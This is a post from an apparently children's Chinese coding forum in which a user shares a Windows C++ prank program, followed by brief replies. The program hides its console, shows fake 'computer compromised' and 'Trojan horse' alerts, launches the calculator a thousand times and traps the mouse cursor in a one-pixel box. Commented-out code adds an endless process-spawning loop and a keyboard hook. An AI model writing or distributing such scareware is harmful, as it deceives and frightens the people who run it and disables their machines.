问题标题: 酷町堂:暑假问答第十六天

0
0
已解决
包涵宇
包涵宇
中级天翼
中级天翼

今天分享一下我的神经质代码

#include<iostream>
#include<windows.h>
#include<bits/stdc++.h>
#include<time.h>
#include<conio.h> 
using namespace std;
RECT rect={};
HHOOK hHook;
void HideWindow(){
        HWND hwnd;
        hwnd=FindWindow("ConsoleWindowClass",NULL);
        if(hwnd)        ShowWindow(hwnd,SW_HIDE);
        return;
}
int main(){
    HideWindow(); 
    if(MessageBox(NULL,"Your computer has been compromised.","Windows(system)", MB_ICONEXCLAMATION|MB_OKCANCEL)==1){
        /*cout<<"              @@@                         @@@"<<"\n";
        cout<<"             @   @@@@@@@@@@@@@@@@@@@@@@@@@   @"<<"\n";
        cout<<"             @    ha      You've       ha    @"<<"\n";
        cout<<"              @   ha    been hacked.   ha   @"<<"\n";
        cout<<"             @    ha      !!!!!!       ha    @"<<"\n";
        cout<<"             @   @@@@@@@@@@@@@@@@@@@@@@@@@   @"<<"\n";
        cout<<"              @@@                         @@@"<<"\n";*/
        MessageBox(NULL,"there is an Error.\nFrom:Trojan horse","Windows",MB_ICONHAND);
        MessageBox(NULL,"Problem solved.\nYou are lucky!","TROJAN HOURSE",MB_OK);
        MessageBox(NULL,"No!!!\nI'm been hacked!","Windows",MB_ICONHAND);
        MessageBox(NULL,"Don't move!","Honker Union",MB_ICONEXCLAMATION);
        /*while(true){
            system("calc");
            system("notepad");
        }*/
        int i=1000;
        while(i--){
            system("calc");
        }
        /* 
        HHOOK m_hHOOK1 = NULL, m_hHOOK2 = NULL; 
    m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
    m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
    while (true)
    {
        UnhookWindowsHookEx(m_hHOOK1);
        m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
        UnhookWindowsHookEx(m_hHOOK2);
        m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
    } */
    /*WNDCLASS wc;
    wc.cbClsExtra=0;
    wc.cbWndExtra=0;
    wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);*/ 
    }
    else{
        MessageBox(NULL,"OH,ON!MY MOUSE!!!","Windows",MB_OK);
        rect.bottom=1;
        rect.right=1;
        ClipCursor(&rect);
        //FileStream fs = new FileStream(Environment.ExpandEnvironmentVariables( "%windir%\\system32\\taskmgr.exe"), FileMode.Open);
    }    
    return 0;
} 

PS:仅供观赏


0
已采纳
李明阳
李明阳
初级光能
初级光能

可以啊  坚持更新

1
陈曦
陈曦
资深天翼
资深天翼

这个代码是干什么用的啊?

0
0
0
黄子澄
黄子澄
中级天翼
中级天翼

你都发暑假问答发到初级光能了!

0
0
0
0
0
0
0
曲天歌
曲天歌
高级光能
高级光能

啊啊!不敢运行啊!现在一见到游戏代码就全身发麻

0
岳成浩
岳成浩
资深守护
资深守护

????????????

我要回答